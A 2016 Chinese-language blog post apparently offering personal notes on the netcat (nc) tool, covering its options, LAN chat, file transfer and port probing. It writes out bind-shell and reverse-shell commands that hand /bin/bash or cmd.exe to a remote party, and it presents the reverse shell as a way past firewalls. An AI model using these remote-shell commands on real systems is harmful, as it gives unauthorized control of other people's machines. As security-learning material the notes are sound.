netcat、nc工具随记

  netcat素有`瑞士军刀之称`,短小精悍,只有几百k大小,但是可以干很多事

  netcat又称nc工具,其最主要的作用就是建立连接并返回两个数据流,剩下的就看各位的想象力了,想象力是很重要的,这也是这个工具的强大之处的所在,所以重要的东西才要说三遍,想象力!

 

1. kali中自带nc工具,windows系统使用nc攻击有两种方法:

在cmd下打开文件安装位置使用

把文件路径放到环境变量中,就可在cmd的任何路径下使用

 

 

2. nc版本不同,命令也会有细小差别,但是大体上差不多,通过 nc -h 来获取帮助信息,具体参数如下:

 

-d                              无命令行界面,使用后台模式
-e prog                     程序重定向,一旦连接,就执行 [危险!!],(可以理解为向外发送一个东西,对方连上自动执行)
-g gateway               源路由跳跃点,不超过8
-G num                     源路由指示器:4,8,12.。。。。。
-h                              获取帮助信息
-i<延迟秒数>            延时设置,端口扫描时使用
-l                              监听入站信息
-L                             监听知道NetCat被结束(可断开重连)
- n                            以数字形式表示的IP地址,不要使用DNS反向查询IP地址的域名
- o<输出文件>         可以将连接上往来传输的数据以16进制的形式记录到logfile中(每行的左半部分是16进制显示,右半部分为ascii显示)。其中,

每行的第一个字符为”<”或”>”,分别表示接收的数据或发送的数据。

- p post                   打开本地端口
- r                           随机本地和远程的端口
- s addr                  本地源地址
- t                           以TELNET的形式应答入站请求
- u                          用UDP建立连接
- v                          显示详细信息[使用-vv获取更信息的信息]
- w<超时秒数>      连接超时设置
- z                          I/O模式[扫描时使用],连接成功后立即关闭连接, 不进行数据交换
端口号可以是单个的或者存在一个范围: m-n[包含值]

 

 

功能:

 

我们可以用他来做聊天工具:

nc -l -p 6666      监听6666端口,并显示详细信息

nc 192.168.1.192 6666    连接192.168.1.192(为测试用的靶机)6666端口

在没有一些聊天工具的情况下,而恰巧又在同一局域网中,我们又想聊天的话,就可以通过这种方法。

打开一台计算机的某个端口,让其他人都可以连进来,这样我们就可以进行实时聊天,而且支持多用户哟

当然这条命令也是nc工具的高级使用技巧的基础

 

3. 个人理解,nc工具通过连接到某一端口,从而和对方计算机进行通信,从而可以利用这一特性来做一下复杂的事情

如:建立正向连接,把某个文件发送出去

nc -vlp 6666 -e /bin/bash      监听6666端口,然后把/bin/bash文件发送出去,只要有人连接此端口,对方就执行/bin/bash文件,此文件为linux的shell,windows对应的是nc -e C:\Windows\System32\cmd.exe

nc -vv 192.168.1.192 6666       连接对方6666端口,连接上就自动执行/bin/bash命令

 

4. 但是如果设备有防火墙的话,那么防火墙会阻止对方连接到本机,因为防火墙会把其当做是病毒所留的后门程序,从而断开连接

所以我们可以换一种思路,可以连接对方,然后把文件发送给对方,在防火墙看来这个行为是用户的操作,不会加以阻拦,从而可以绕过防火墙,那么我们就采用反向连接,把自己的文件发送给对方

nc -lv -p 6666         

nc -v -e /bin/bash192.168.1.187 6666 

 

 

 5. 我们始终要记住,nc最主要功能就是监听端口,只不过一些高级功能就是对此功能的再度开发利用

比如上面是把文件发送给对方执行,那我们完全可以利用这个思想来发送文件

nc -l -p 6666 < ./1.txt -q 2      把1.txt这个文件发送到6666端口中,如果命令执行成功,那么两秒后自动关闭连接

nc -v 192.168.1.192 6666 > c:/1.txt  连接6666端口,把接收到的数据写入到1.txt中

其实nc不光可以保持txt文件,还可以保存所有格式的文件,因为存在编码问题,所有只要两边的后缀名保持一样那么文件就可以正常执行

 

 

6. 其实上面的例子和本文第一个例子的原理是一样的,都是建立连接,然后发送数据,只不过一个是手动打,一个是发送数据

我们再举一反三:

在本机输入命令,然后把命令的结果通过管道发送到6666端口

 

只要开阔思维,利用nc和一些其他工具就可以发挥出意想不到的结果

 

7. 就比如我们可以利用nc会连接对方端口的特性,来扫描对方开放的端口

nc -v 192.168.1.192 80    连接对方80端口,80端口默认是http协议的端口,如果对方开了80端口,那么就会连接上,反正连接不上

所以我们利用此原理探测对方开了哪些端口

 

 

nc 之所以这么强大,就是因为他的可扩展性,可以配合其他东西发挥出巨大的作用

 

posted @ 2016-08-13 18:45  俞先森  阅读(9737)  评论(0编辑  收藏  举报